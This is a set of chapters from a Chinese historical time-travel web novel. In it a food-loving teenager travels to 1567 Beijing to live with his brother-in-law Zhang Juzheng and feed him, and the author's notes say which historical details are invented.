《食明》 第1章 第 1 章 《食明》 /春溪笛晓 /2025年6月19日 /首发于晋江文学城 公元1567年是挺热闹的年份,这时候的意大利水手已经热衷于穿着水手裤满世界跑,葡萄牙人正以方便贸易为由长期租借澳门,而大明王朝也即将解除颁布了一百余年的海贸禁令。 嘉靖末,谭纶、戚继光、俞大遒平海大捷,东南沿海一带倭患初平,迎来了难得的安宁。 朝廷趁着隆庆改元这样的好机会,商议着开海禁恢复停滞已久的海上贸易。花了那么多军费荡平海寇,总得给朝廷回回血吧? 只不过这一桩被称为“隆庆开海”的佳事,最后也不知道到底肥了谁的腰包。 幸而这样的家国大事跟顾闲关系不大,不需要他去操心。 顾闲,人如其名,顾家一闲人。 他今年才十三四岁,正是长身体的时候,个头一天赛一天高,胃口也一天比一天大,偏他嘴巴还叼,每顿都要吃肉,吃白面,反正得吃好的。 顾闲爹娘一寻思,这么吃下去不是事。 要知道人们常说“吃喝嫖赌败家玩意”,吃喝都排在嫖赌前面了,你说能吃是小事吗?一点都不小! 当发现家里已经没几个铜板后,顾闲爹娘在被窝里合计了一整晚,想出个损招—— 叫顾闲去京师投奔女婿。 说是女婿,其实他们女儿已经不在世了,生下个孩子还没学会说话呢,人就没了,唉,真是个没福的。 说起这女婿张居正,那出息可就大了,人家从小被称为“江陵神童”,十二岁考了秀才,十六岁当了举人。听说最近还升官了,成了阁老,四十出头的阁老! 若不是当初三房那边从中牵线,这桩姻缘哪里落得到他们家头上? 提及当初那桩好姻缘,夫妻俩又齐齐叹了口气。 唉,可惜女儿是个没福的,真叫人伤心。 若非这两年年景不太好,家里实在养不起这么个小子,顾家爹妈也不至于出此下策。 女儿都不在了,还让小舅子去打秋风像什么样? 要知道这些年来女婿张居正一直没有忘记他们,年节都会派人送些节礼过来慰问。 女婿人品这么好,他们送那么个能吃的娃去京师打秋风,实在是有点不要脸了! 但他们也不全是因为被顾闲吃怕了,这不是想着让孩子去沾点神童的文气,争取日后也能考个功名吗? 都十三四岁的人了,哪能整天只惦记着吃吃喝喝! 怀揣着这种想法,顾家爹娘把顾闲送上了船,殷殷叮嘱他到了京师要听姐夫的话,千万莫要给姐夫惹祸。 顾闲面上一一应了,心里却早就乐开花。 京师那可是天子脚下,天南海北的货物汇聚其中,好吃的自然也多不胜数,顾闲已经迫不及待想去看看了。 顾闲别过父母,乘船一路北上。 他是去过京师的,只不过不是这个时代的京师。 那时候他也馋,家里把他塞给一个当大厨的远房亲戚做学徒,一当就是好几年。 跟着那位远房亲戚,顾闲不仅学了一手好厨艺,还在各种聚会上听了许多关于时局的讨论,倒是真叫他了解了他们生活在一个多么动荡不安的时代。 有的大人见他好奇地旁听,还会笑着说什么“我来考考你”。 顾闲来者不拒,全都积极回答。 谁都喜欢一教就会的小孩,顾闲就那么从识字算数学到天文地理,什么都懂那么一点。 包括他那位便宜姐夫张居正的光辉人生,他都在一位老先生口中了解了不少。 这可是一位相当了不起的大改革家。 他主政的十年间针对政治、军事、经济、教育等方面的种种弊端进行了自上而下的变革,整个朝廷在他的主导之下一扫嘉靖年间的颓态高速运转起来。 可惜这场改革最后没能逃过人死政息的厄运。 在张居正去世的很长一段时间里,这位大明首辅的风评都不算好。 毕竟皇帝带头要扣他罪名,那当然是什么恶劣事迹都往他身上安。 直至明末风雨飘摇,张居正才终于得以恢复名誉。到了清末,梁启超更是对他这位改革家大力赞誉,直夸他为“有明一代惟一的大政治家”。 这约莫就是所谓的“家贫思良妻,国乱思良臣”。 既然扣罪名的事是张居正死后才发生的,顾闲觉得自己走这一趟很有必要。 现在张居正才四十多岁,距离他病故还早得很,他可以悉心投喂这位便宜姐夫,争取让张居正多活个十几二十年,为大明改革事业奉献终身! 怀揣着这样的想法,顾闲抓住四月天的尾巴来到了京师朝阳门外。 他背上背着一口锅,左手提着父母准备的特产,右手提着自己买的肥美漕运鸭,好奇地在繁华热闹的街道上左顾右盼。 顾闲在富庶的江南长大,倒也不是没见过世面的穷小子,不过看着这既熟悉又陌生的街景心里还是感慨万千。 不必旁人指路,他都知道往前走一段路是东四牌楼,是个竖着四个大牌楼的十字路口。 南牌楼上写着“明照坊”三个大字,顾闲这次的目的地就是那儿。 今年张居正在老师徐阶的推举下顺利入阁,终于有资格在门上挂个“府”字了,自是趁机置换了一处稍微大点的宅院。 早在置办好新宅时,张居正就给二老去了封信,告知他们新的住址,表示以后写信可以改送到这里。 不得不说,这样的张居正比清末以及民国学者们吹嘘的完美改革者要鲜活许多,至少顾闲读到这封信时就有点感动。 发妻都去世十几年了,还能在更换住宅时第一时间告知岳父岳母,实在是个念旧情的人。 顾闲手里有张府地址,一点都不急着登门找人。他挥别了送他来京师的同乡,在路边好奇地看人家做白水杂碎。 这是很普通的一道平民小吃,顾名思义就是把猪肠、猪肺、猪肝、猪心等等一锅炖了。 这些猪下水得经过特殊处理才好吃,像这个店家就用草木灰烧出来的碱水认真搓洗着猪肠,老练的手法引得顾闲津津有味看了半天。 他还很自来熟地跟人家唠嗑起来:“您不怕别人把你的手艺学了去吗?” 那摊主笑呵呵地说:“怕什么,别人就算学了去,也没我做的这么干净好吃。” 别的不说,光是这个灰水就是第一道门槛,别人做的都没他做的好用! 顾闲一听摊主这么自信,兴趣更浓了。他麻溜说道:“那我可得尝尝了。” 摊主笑着努努嘴,示意他看向灶上那冒着热气的大锅:“喏,那里有一锅快炖好的,你再等一会就能吃上了。” 顾闲放下手里的东西拉了张板凳坐下,边和摊主闲聊边等着白水杂碎出锅。 京师的天气不知怎么回事,快五月了还冷得很,尤其是临近傍晚,顾闲一个南直隶人觉得此时此刻很需要吃点热乎乎的东西暖和暖和。 等第一口白水杂碎下肚,顾闲就知道摊主确实很有自信的资本。 杂碎吃的就是个“杂”字,每种内脏都有不同的口感,每一口都有不一样的滋味——可惜不是每个人都能做到“杂”得好吃。 眼前这碗白水杂碎就非常美味! 顾闲飞快吃完一整碗白水杂碎,热情地夸赞起摊主的手艺来,同时用行动和语言表达了自己的喜爱。 就这么成功收获了自己在京师的第一位朋友。 眼看太阳都快下山了,顾闲才想起自己还得去投奔便宜姐夫,赶忙收拾收拾直奔张府。他紧赶慢赶,正好赶在张居正回府前抵达人家大门口。 顾闲刚放下东西准备敲门呢,就看到个中年文官从另一边走来。那人蓄着长须,眉目俊逸,只是气质有些冷峻,隐隐已有了不怒自威的气势。 很符合爹娘给他讲的便宜姐夫长相! 眼瞅着对方确实是往张府这边走的,顾闲两眼一亮。他背着锅跑到对方面前,有点紧张地搓了搓手,朝张居正自我介绍:“姐夫,我是你失散多年的小舅子,这次特地来京城看看咱外甥……” 张居正:?! 让儿子跑女婿家蹭吃蹭喝这种事,顾家爹娘压根不好意思说出口,竟是没给张居正捎个信。 以至于平时泰山崩于前而色不改的张居正都有点儿措手不及。 不是,你怎么跑京师来了? 还有你背上那圆溜溜的铁锅是怎么回事?! 张居正当然知道顾闲这个小舅子。 妻子去世那年岳母得到消息后受刺激昏厥过去,找大夫一看才知晓怀了个小子。当时岳母年纪也不算小了,差点就没保住这孩子。 等小舅子出生后岳父给他取了个“闲”字为名,盼着他往后能当个富贵闲人,别有那么多坎坷。 这些都是张居正从信里知道的。 这些年他忙于仕途,一直没机会亲自去看望岳父岳母,自然也没见过这位比自己小了二十多岁的小舅子。 不管怎么样,顾闲到底算是自家孩子的舅舅,张居正向来不苟言笑的脸上都多了几分和煦:“原来是闲哥儿,进屋再说吧。” 顾闲欢喜地拎起地上两麻袋,边跟在张居正身后往里走边跟他介绍麻袋里装的是什么。 特别是那只从麻袋里探出个脑袋来透气的大白鸭。 “这可是吃漕运粮米长大的肥鸭,听说是专供京师大酒楼做烤鸭用的,我软磨硬泡才匀我一只。要是不好吃,我得去找他算账!对了,姐夫你府里有地方做烤鸭吗?” 张居正:“……” 他想知道谁家里可以做烤鸭。 顾闲何等机敏,一下子在张居正的沉默里得到了答案。他立刻说道:“不要紧,先养两天,等我出去寻摸寻摸,瞧瞧能不能蹭个焖炉来烤。实在不行,做姜丝焖鸭也不错,这个季节最适合吃了。” 爹娘说过,刚见面一定要给姐夫留个好印象,他可不能嫌弃姐夫家里没有烤炉! 顾小闲(搓手手):大家好,我是新来的!! * 震惊!你的甜甜春突然出现![狗头叼玫瑰] 不码字,作息崩,码字,作息崩,同崩,不如开始码字,做个天天出门扔猫屎的好青年!(Bushi * 注: ①主角出身、张居正目前府邸位置纯属虚构。关于张居正妻子的记载很少,这里是我瞎掰的!不要当真! ②《张居正大传》里引用张居正写的悼亡诗,说是“遗婴未能言”,但是不确定这里的“遗婴”是谁,所以这里依然是私设,不要当真!不要当真!小说就是戏说[让我康康] ③“有明一代惟一的大政治家”:参考《张居正改革群体研究》,我也不知道梁启超有没有说过[狗头] ④说到这漕运鸭,隔壁《戏明》的王小文和《医汉》的霍小善似乎都尝过,没看过的可以去看看他们吃没吃上(毫无广告痕迹 作者有话说 显示所有文的作话 第1章 第 1 章 第2章 第 2 章 张居正给身后随侍的游七一个眼神,游七意会地去为顾闲安排住处。 游七本名游守礼,行七,亦是江陵人,跟着张居正许多年,对张居正的亲朋好友都挺熟悉,行事颇合张居正心意。 见了顾闲,他心中暗自称奇,难怪说外甥像舅,大郎君张敬修确实与这少年有点儿相像。 只那双眼睛不太一样,张敬修的眼睛更像张居正,目光淬着点冷。不像这少年郎,眼里仿佛天生盛满笑意,叫人瞧上一眼便心生亲近。 两边坐定,张居正才问起顾家二老身体如何。 顾闲应答如流:“好得很,爹娘都还能吃两碗饭呢!”说完他又自夸起来,“不过我不在家,他们可能会饿瘦一点。” 家中有兄嫂在,顾闲外出投亲倒也不必担心父母无人照看。但他从七八岁起就爱自己捣鼓吃的喝的,家中饮食哪怕不是他亲自动手,也是他在旁边指挥着做。 这些年一家人跟他一起吃吃喝喝,收获的可不仅仅是空空如也的钱袋子,还有愈发健朗的身体。 反正他们顾家人一个个都容光焕发、健步如飞,那精气神走在路上旁人都得多看几眼! 要是光他自己吃,还真不至于把家底给吃空。 一提到自己把一家老小养得多好,顾闲就把腰杆挺得笔直笔直,一副“我可厉害了”的骄傲表情。 张居正没见过敢在自己面前这么自夸的小孩,毕竟连自家几个孩子在他面前都整天夹着尾巴不敢造次。 顾家爹娘让顾闲捎了封信,没好意思明说是让儿子来蹭吃蹭喝,只说县学学官都夸顾闲是个好苗子,看看能不能跟在张居正身边学习学习。 张居正看完信后看向一脸乖巧坐在那儿的顾闲,横竖没看出什么读书人的气质。 主要是顾闲虽然依依不舍地把鸭子和土特产给游七他们拿下去了,但那锅还背着呢,很有誓与此锅共存亡的决心。 来都来了,张居正决定先考校考校这个看起来挺不靠谱的顾闲。 一问之下才发现顾闲竟真的应答如流。 张居正纳闷:“你怎么没进县学读书?”这么好的苗子,怎么都该选为县学生才是。难道是江南讲学之风太盛,连他这小舅子都受了影响? 张居正眉头锁起。 他的恩师徐阶乃是王阳明的再传弟子,极力推崇讲学,以至于各地书院林立,教学者良莠不齐、素质堪忧,甚至有不少走偏门的,连基本的才学都不过关。 至于结社抱团、请托援引之类的情况更是屡见不鲜。 这样教出来的学生能好到哪里去?至少对朝廷来说不是什么好事。 张居正与高拱对这种风气都颇为反感,但徐阶目前乃是当朝首辅,他们就算想遏制也不好开口。 哪有次辅刚进内阁就跟首辅对着干的? 何况他还是由徐阶举荐入阁的。 这种种思绪不过是转瞬间的事,张居正的目光很快转回顾闲身上。 他的长相虽是一等一的好,眼神却锐利而有神,仿佛能一眼把你看透。 顾闲接收到来自张居正的“关怀”眼神,瞬间体会到那位万历皇帝面对这么一位严师时的心情。 皇帝来了都得怂! 既然皇帝都扛不住,那他这个平头老百姓紧张一下不过分吧? 顾闲纠结了一会,才老老实实地回答:“这事说来话长,我慢慢给您讲。我没去县学,是因为我在县学的仇家太多了……” 一打开话匣子,顾闲连人带椅子往张居正那边挪了过去,给他描述起自己在县城的结仇过程。 他小时候跟县学一个掌厨玩得好,时不时跑去跟人家交流厨艺,结果不知怎地被几个老生盯上了,非揪着他告到学官那里说他是擅闯县学。 顾闲怕连累掌厨丢了差使,毫不犹豫地在学官们面前装乖卖巧,说自己是太想读书了才找机会混进县学旁听,又隐晦地提及“我叔公是顾璘”“我姐夫在京师当官”云云。 学官们见是他这么个小孩,家中又有人在朝为官,不过是想旁听而已,有什么不可以的?当即表示上进的孩子大家都喜欢,今天就开始来旁听咱的课吧! 顾闲垂头丧气地回到家跟爹娘那么一讲,结果爹娘每天都眉开眼笑地欢送他出门,让他珍惜这么好的机会多学点有用的知识。 事已至此,顾闲只能……对那几个老生展开报复! 凡是他们上的课他都要去上,凡是上了的课他都表现得一学就会(实际上回家偷偷努力过),争取全面打击那几个老生的学习积极性。 这么报复的后果也很严重,那就是学官们看向他时眼神里的喜爱都要溢出来了。 这怎么可以! 眼看自己这个旁听生要变成正式生员了,顾闲又生一计,开始在诸位夫子的课堂上当刺头。 光靠他自己的学问当然不足以难倒这么多夫子,不过夫子不是不止一个吗? 他从甲夫子这边讨要难题,去乙夫子那边提问,经常让夫子们在课堂上答不上来,不到半个月就成功让所有夫子看到他时转身就走! 为了不早早把自己困在学堂里,他真是付出良多! 总而言之,整个县学上至学官下至生员全被他嚯嚯过,他实在不好再去! 张居正:“………” 顾闲酣畅淋漓地分享完自己幼年的绝妙操作,突然感觉背后毛毛的。 再一抬眼,赫然发现张居正正用一种“看来得安排你去读书”的危险眼神在看着他。 顾闲立刻说:“爹娘让我来京师是想让我多跟着姐夫学习,就近沾沾姐夫你满到要溢出来的才气!”他小心地觑着张居正试探,“姐夫不会随便打发我去哪个书院读书吧?” 张居正一开始还真有这个想法,可听了顾闲的丰功伟绩后又改了主意,摇着头说:“当然不会,你且先安心住下,过些时日再与敬修他们一同读书。” 这天晚饭人挺齐,顾闲不仅见到了自家大外甥张敬修,还见到了张居正的续弦王氏以及她的几个孩子。 对于这么个没有血缘关系的小舅子,王氏表现得温和又客气,还让几个孩子也喊他一声小舅舅。 这顿晚饭和和气气地结束后,顾闲被仆从领到客院住下。 为了上衙方便,朝中高官的府邸大多都在内城。内城就那么一点地方,哪怕是三品大员的宅邸也不算特别大。 翌日天才刚蒙蒙亮,顾闲就把整个学士府摸了个底朝天,还去厨房跟人闲唠嗑半天,顺利收获一兜杂粮回去喂鸭子。 都说新朝新气象,隆庆皇帝如今一改嘉靖一朝的懒政,按照阁臣们的建议坚持逢五上朝,目前已经坚持了整整几个月。 虽说目前还看不出隆庆皇帝有明君之姿,但好歹有那么一点进步了,朝臣们议事的积极性大大提高。 这天正好是二十五日,张居正早起穿好朝服,把自己蓄得非常漂亮的长须打理得整整齐齐,在屋里用了些府里做的早饭准备出门去上朝。 不想才踏出院门,他就听到一阵嘎嘎嘎声。 张居正:? 张居正循声望去,只见顾闲正赶着只大白鸭走来,大白鸭大摇大摆地走,他也大摇大摆地走,一人一鸭相当悠闲自在,跟待在自己家里似的。 见他出来,顾闲撇下鸭子屁颠屁颠跑过来,热情地喊了声“姐夫”,接着开始例行关心:“当官要这么早出门的吗?早饭吃了吗?” 张居正说:“吃过了。你住得还习惯吗?” 顾闲说:“习惯得很!我从来没睡过那么软的枕头,也从来没盖过那么软的被子,老舒服了。” 他们家不算特别穷,但比起三品大员家的吃喝用度还是差了那么一点,他这么说绝对不是夸张,而是真心实意这么觉得。 张居正说:“我要去上朝了,你有什么需要的可以让人跟游七说,他会给你安排好。” 顾闲应得很快活:“好嘞,我记住了!” 张居正眉心直跳,总感觉这么个活泼的小子跟自己家格格不入。 可这小子也算是岳父岳母的老来子,难得二老开口请托,他哪里说得出拒绝的话? 张居正只能让一人一鸭送他到门口。 不同于外地轿子遍地走的情况,京师对官轿的管控很严格,只有三品以上官员才有资格坐轿子上朝(且自费),三品以下官员只能骑马。 在京师,这官轿平时可以不坐,上朝的日子必须坐。 这是对皇帝恩赐的重视! 顾闲好奇地打量起那其貌不扬的官轿。 据明朝文人八卦,他便宜姐夫回乡时坐三十二抬大轿,一度被认为是他穷奢极恶的罪状。 准确来说那已经不算是轿子了,因为按照文中描述,它前面是富丽堂皇的“重轩”,后面是寝室,旁边还有两庑供伺候的童子在里面打扇点香。 顾闲听留过洋的人说,欧美那边有那种叫作房车的东西,里面甚至配备发电机、设有淋浴间。 若是这种三十二抬大轿真的能从京师走到湖北,那咱华夏的房车技术比欧美要领先三百多年哩! 同时大明的官路也修得极好,能让这么一辆大型“房轿”畅通无阻地走个三千多里路! 说实话,顾闲还挺想见识一下的那赫赫有名的大明“房轿”。 可惜现在张居正才刚拥有乘坐官轿的资格,行事缜密而小心,估计就算有人献上这种玩意他也只会骂对方荒唐。 真是令人扼腕! 张居正哪里知道顾闲在心里嘀咕什么,只当顾闲是想送自己上轿。他摆摆手说:“不必送了,你自己玩耍去吧。” 顾闲一听,张居正都这么讲了,他可得送到底! 于是顾闲一边说“要的要的”一边领着大白鸭跟着官轿走,说是怕张居正路上会无聊,自己可以全程陪聊! 顾小闲:不用谢,不用谢,这是我这个小舅子应该做的 张居正:…… * 可恶,好好的作息说崩就崩! 难道千钧一发是我的宿命! * 注: ①三十二抬大轿的描述:出自王世贞的《嘉靖以来首辅传》 【传居正所坐歩舆则真定守钱普所创以供奉者前为重轩后为寝室以便偃息傍翼两庑庑各一童子立而左右侍为挥箑炷香凡用卒三十二舁之始】 震惊,张居正让人抬着房轿回老家[狗头] 作者有话说 显示所有文的作话 第2章 第 2 章 第3章 第 3 章 熹微的晨光中,一顶象征着三品大员身份的官轿由轿夫抬出宽敞的大街,引得不少早起做生意的摊贩频频注目。 在皇城脚下,三步就是一个贵人,官轿这玩意倒是不算太稀奇。 奇就奇在,今天这顶官轿旁边还跟着个十三四岁的少年郎,生得眉清目秀,十分讨喜。 更奇的还在于,少年郎边走边跟官轿中的大官聊天,不时还匀出嗓儿去喝止想逃跑的大白鸭。 没错,他还赶着只大白鸭一起送大官去上朝呢。 这画面谁见过啊? 张居正本人都没见过,他提了两次让顾闲回去,顾闲都坚持要送他到宫门口。 都说秀才遇上兵有理说不清,张居正遇上顾闲这赖皮性格也是一点法子都没有,只能由他去了。 想他少年中举,自己年纪太小被人看轻,时刻把克己复礼四个字铭记于心,早早练就喜怒不形于色的稳重性格。 他这一沉稳就稳了二三十年,从来没有出现过今天这样的情况。 以至于轿夫停下的时候张居正都不太想下去了。 想想看,谁家正经朝臣会在鸭子的嘎嘎声中下轿? 可惜作为阁臣,早朝是不能迟到的,张居正在经过一阵激烈的内心挣扎后还是做出了艰难的决定,抬起脚迈出了官轿。 霎时间,张居正感觉前后脚抵达的同僚们都朝他望了过来。 顾闲这个始作俑者压根没注意到旁人的侧目,更没有注意到给自己姐夫堪称完美的人生履历中添加了浓墨重彩的一笔。 他屁颠屁颠送张居正到宫门口,表示张居正只管放心,自己在家会好好的。 经过这两天的接触,张居正现在一点都不怀疑这句话。 这么个家伙要是都不能照顾好自己,世上估计没人能过得自在。 ——反正他自个儿肯定会好好的,家还好不好就不太确定了。 张居正心里隐隐猜出了岳父岳母托人把这家伙送到京师的的原因。 恐怕是自己实在管不了,干脆放他出来嚯嚯别人。 顾闲可不晓得张居正已经在心里给了他这样的高度评价。他目送张居正踏入宫门,正要转身跟着游七他们回家,就瞧见不远处一前一后来了两顶官轿。 前头的轿子先下来个年过半百的老者,身量不如张居正高大,面庞却是典型的文官长相,面白须美,即便上了年纪仍能看得出年轻时是个端方君子。 对方注意到牵着只鸭的顾闲,朝顾闲露出个温煦的笑容:“你是叔大家的哪个后生?” 很明显,刚才宫门前的动静连后面到的同僚都听说了。 顾闲见对方乘着官轿过来,又身穿绯红官袍,一看就是大官,立刻乖巧应答:“我叫顾闲,昨天刚到京师,今早起来看到姐夫要来上朝就想跟着见见世面!” 这时后头的官轿里下来的人也走上前来,笑着说道:“叔大那么端方一个人,居然有你这么活泼的小舅子,看来有得他头疼了。” 顾闲已经听旁边的游七提醒说这两位都是现任内阁成员,前头的是内阁一把手,当朝首辅徐阶,是张居正的老师;后头的则是次辅高拱,同时也是张居正的好友。 人家是大官兼姐夫交好的同僚,这么点评自己两句完全没问题,顾闲一点都不恼,还腆着脸牵上大白鸭又送了两位阁老一轮。 姐夫有的待遇,两位阁老也要有! 徐阶:“……” 高拱:“……” 这就有点活泼过头了。 顾闲在宫门前溜了两圈鸭,成功让不少人都记住了他。 游七眼见顾闲蠢蠢欲动想去找轿夫们聊天,不由笑着说:“闲哥儿,老爷让我尽快给你物色个书童,往后有什么跑腿的杂活也有人替你干,不知你想要什么样的?” 吴县顾家虽也不算什么小家族,但旁支众多,也不是家家都有钱。 顾闲家就不那么富裕,他们家人口简单,兄长只考了个秀才,后面屡试不中,只得黯然回乡教书。 家中能因为出了个秀才而得到两个免役名额已经很不错了,顾闲身边哪有过什么书童? 听说是张居正的吩咐,顾闲心中很是感动只不过他两辈子都没被人伺候过,想想就有点不习惯。 何况在他给人当学徒的那个时代,早已有人提出全面禁止一切人口买卖,原有的契买奴婢以及家仆全都改成雇工模式。 哪怕民间仍存在蓄奴行为,不少受新思潮影响的人对这种旧时代陋俗却是深恶痛绝,顾闲就听人在饭桌上痛批过这些现象。 不过那时候似乎啥都会被批判,若非他是在跟自家亲戚学厨,他师父都得成被批判的一员了! 那么多的新思想旧思想碰撞在一起,年纪尚小的顾闲也不晓得哪个是对哪个是错,反正他是没能看到好日子到来的那天。 顾闲迟疑着说:“杂活我自己能做,书童就不用了吧?” 游七劝说:“敬哥儿他们都有,要是你身边没有,旁人知道了岂不是觉得老爷苛待自家后辈?” 话都说到这份上了,顾闲没有再推拒的道理。他说道:“我都可以,最好是力气大些的,我有时候买的食材多可以帮忙扛。” 游七点点头,表示自己晓得了。 顾闲又问起这是雇工还是买奴。 游七没想到顾闲还有这样的顾虑,笑道:“天子脚下哪能随意买卖私奴?当然是按雇工走。” 朝廷对奴籍管得还是很严的,毕竟入了奴籍既不得参加科举,也不能与良籍通婚,犯了事还要罪加一等。 当然,明面上不能随意买卖,私底下想蓄奴还是有办法的,不过这些不适合叫小孩子知道的阴司事就不必跟顾闲提及了。 顾闲不知其中另有门道,听了游七的话便放下心来,愉快地赶着大白鸭跟着游七一同回了府。 张敬修一早去找顾闲一同吃早饭,就听底下的人说顾闲跟着张居正上朝去了。 他正要走出客院,就与一只身上绑着绳的鸭子撞个正着。 张敬修:? 为什么会有只鸭子? 顾闲见到比自己要大一岁的大外甥,热情地赶着大白鸭跑过去跟张敬修打招呼:“敬哥儿,早啊!我刚送姐夫去上朝,大家人都怪好的,下次你要不要一起去送?” 张敬修从小被张居正严格教导,小小年纪就养成了沉稳少言的性格。 跟顾闲相比,他才老成得像个当舅舅的。 顾闲记得吧,张居正被清算时有个罪名是给自己几个儿子都弄了个好名次—— 他二儿子先下场应试,考了个榜眼。 他大儿子跟三儿子同科进的考场,三儿子考了个状元,大儿子……混了个进士! 等到张家被抄家问罪,进诏狱的却又是张敬修这个长子。 谁都知道进了诏狱那种地方不肯认罪会是什么凄惨下场。 据说他不堪受辱在诏狱自杀身亡,连张居正的文集都只能由他的状元弟弟和榜眼弟弟联合编纂了。 真是个可怜孩子! 顾闲看向自家大外甥的眼神充满怜爱。 没事的,舅舅一定会做多多的好吃的投喂你! 要是将来还得进诏狱,多长点肉挨起打来也不那么疼! 唉,他一个还没出师的厨师学徒,只能帮大外甥到这里了。 张敬修:??? 为什么总感觉他家小舅舅没想什么好事? 张敬修是个老实孩子,一脸纠结地说:“父亲是去上朝,我们跟着不好吧?” 说实话,见到顾闲这个小舅舅他挺高兴的。 他自幼失母,从记事起就养在继母膝下,一开始没觉出自己与弟弟们不一样,后面渐渐懂事了就感受到一些微妙的差距。 至少王家舅舅对他就不怎么热络。 张敬修到底还是个半大少年,平时表现得再怎么老成,心里头还是盼着有个能多多亲近的亲人。 顾闲一看张敬修那模样,就知道他是个有事全靠自己扛的老实孩子。 众所周知,长辈们关心得最少的就是这样的娃。 顾闲说:“我们只是在姐夫去早朝时送一送,又不是跟着进宫去,有什么不好的?多走动走动,还能锻炼腿脚呢!” 他还给张敬修举了个例子,是《世说新语》里头记录的—— 魏晋时期有位相当有名的丞相叫王导,他儿子每天都送王导上车去衙署。后来这孩子不幸病故,王导登车后想起每日相送的儿子,一路哭到官署门口。 看到没有,孝顺儿子就该送自己父亲去上衙! 张敬修:“……” 你说得有那么一点道理,但是听起来不太吉利。 他实在很难想象自家冷着一张脸的父亲会为自己一路哭到宫门口。 所以能举个儿子活着的例子吗? 只不过许多事自己去做和有人一起去做是不一样的,至少一想到顾闲也去,张敬修就心动了。哪怕不送到宫门口,像王导儿子那样送到府门前也挺好! 张敬修说:“好,我们下次一起送。” 舅甥俩愉快地决定好这件事,完全没询问过张居正本人的意见。 正说着,那只大白鸭又嘎嘎嘎地叫了起来。 张敬修好奇地问:“这鸭子是你养的吗?” 顾闲说:“不是,我路上买的。”他又把大白鸭的来历给张敬修讲了一遍,并且询问张敬修知不知道哪里卖烤鸭。 卖烤鸭的地方说不准可以蹭烤炉! 张敬修摇着头说:“我不怎么吃外食,不太清楚。府里有负责采买的人,喊他们来问问?” 顾闲说:“没事,不用特意把人喊来,我回头自己找找。” 他找了个地方把鸭子栓好,洗净手跟张敬修坐下吃起了府中的早饭。 府中的饭菜味道不能说差,但也称不上好,顾闲考虑到自己初来乍到不好挑嘴,老老实实全给吃了。 吃饱喝足,张敬修才想起来追问:“你还读过《世说新语》?” 顾闲说:“读过一些,比经史有意思多了。” 《世说新语》就是魏晋八卦大全,人哪有不爱读八卦的? 顾闲曾听在日本留过学的食客说,连日本人都很爱读这本书,将它称为“枕中秘宝”,许多日本学者都给它做了许多注释。 当时很有名大作家鲁迅都夸这书是“名士教科书”。 厨房里没事的时候,顾闲就爱翻翻闲书。别人说什么书好他就看什么书,古今中外来者不拒。左右不用他自己买,看啥都是白赚! 这就导致张敬修跟顾闲聊了一会就聊不下去了。 怎么回事? 为什么随便提一本书他小舅舅都看过? 他小舅舅不是比他小一岁吗? 为什么比他多读了这么多书? 不行,他也要回去多看点书! 顾小闲:我发誓,他是自己卷起来的! 隔壁王小文点了个赞 * 嘿嘿今天早早更新了[狗头叼玫瑰] * 注: ①王导儿子的故事:出自《世说新语》 【丞相(王导)还台,及行,(王悦)未尝不送至车后。恒与曹夫人并当箱箧。长豫亡后,丞相还台,登车后,哭至台门。曹夫人作簏,封而不忍开。】 作者有话说 显示所有文的作话 第3章 第 3 章 7.第 7 章 张居正是个正常人,当然也喜欢大多数人都喜欢的东西,比如香车宝马、华衣美服、佳肴美酿。 他在饮食上甚至还有些挑剔,每道菜都只吃那么几口,以至于旁人都觉得他不怎么热衷于此事。正是因为平时吃得少,所以今天多吃了些便觉饱足。 顾闲注意到张居正没怎么再动筷子,也没立刻劝他多吃。 胃口不是一天就能打开的,得慢慢来,只要从现在起每天多吃几口,要不了多久肠胃就能调理过来。 听说张居正当了首辅后工作压力大,时常精力不济,连夜里都要嗑大明君臣之间很流行的房中药来助兴。 唉,这可真是中年男人永远的痛,无论是当皇帝还是当大官都躲不开。 记得明末有本类似《世说新语》的八卦野史,叫《万历野获编》,尤其热衷于记录这方面的内容,什么某御史献药帮某首辅再振雄风、某首辅献房中术为皇帝增添乐趣,都是这书给写的。 作者在书中表示戚继光长期给张居正进献一种叫海狗肾的奇药,这玩意药力很猛,还直冲脑壳,热得张居正大冬天去上朝都不用戴貂毛帽子! 为了缓和药力,张居正又不得不佐以寒性药物,弄得他本来就不怎么好的肠胃彻底坏菜了,最终“竟以此病亡”。 当然,根据其他记载以及张居正自叙,他是在治疗痔疮的时候病重的。 据说一开始张居正觉得小小痔疮问题不大,后来发现自己居然开始便血后才终于重视起来,终于下定决心找了个治疗痔疮的专家给他治病。 这位大明痔疮专家表示没问题,包在我身上,保证药到病除!他当场给张居正来了个根治痔疮的方子,其中很重要的一味药就是……砒霜! 砒霜控制好用量当然是能治病的,可惜张居正没扛过来,治疗过后上书朝万历皇帝表示自己“痔根虽去,元气大损,脾胃虚弱,不能饮食,几于不起”。 由此可见……是时候好好帮张居正养胃了! 无论是海狗肾还是砒霜方,那可都是没个铁胃都扛不住的猛药。 他姐夫无论正史野史都这么爱嗑这些玩意,他能有什么办法呢?只能先给猛人姐夫打个好底子了。 顾闲在法华寺已经吃过一轮,晚饭没再多吃,与张居正他们说了一声就溜达去厨房炸鸭架。 刚才烤鸭吃得那么快,大家显然都还意犹未尽,等会正好让几个小的把鸭架也分了吃。 考虑到今晚这些吃的又是烤又是炸,顾闲还腾出空来顺便闷了瓶豆蔻熟水,用的是健脾养胃、消食除滞的方子。 前后约莫花了两刻钟,炸鸭架和豆蔻熟水都备好了。 他本以为张居正已经吃完了,还想着要不要单独送一些过去呢,没想到回饭厅一看,所有人都还在。 张居正似乎在考校张敬修他们的功课,几个小子瞧着跟鹌鹑似的,都挺怕张居正这个爹。 顾闲暗想,要是自己认得的画家朋友在这里,一定得画下这珍贵的画面,来幅《张居正教子图》。 他麻溜把香喷喷的炸鸭架放下,又接过郑大拿着的豆蔻熟水给张居正倒了一杯:“这是我刚煮的豆蔻饮子,姐夫不如先喝些再继续考校敬哥儿他们。” 张居正一向追求清淡饮食,豆蔻熟水这种养生饮子当然也不陌生。可惜炸鸭架的香味太过霸道,他的目光不由自主地看了过去。 只见整盘鸭架都炸得金黄酥脆,上头还撒着些许椒盐,瞧着诱人极了。 顾闲还在旁边介绍:“可惜现在不是吃萝卜的时候,若是秋冬时节这鸭架拿来炖汤,喝着可舒服了。好在近来天气凉,炸着吃也不错!” 张居正见几个孩子都频频看向炸鸭架,终究还是暂停了对自家小子们的考校,率先夹了块炸鸭架尝鲜。 只要是下锅炸过的东西就没有不香的,何况顾闲把火候掌控得很好,每一块都都炸得香而不焦、酥脆可口,叫张居正都忍不住怀疑自己以前吃烤鸭是不是错过了最好吃的部分。 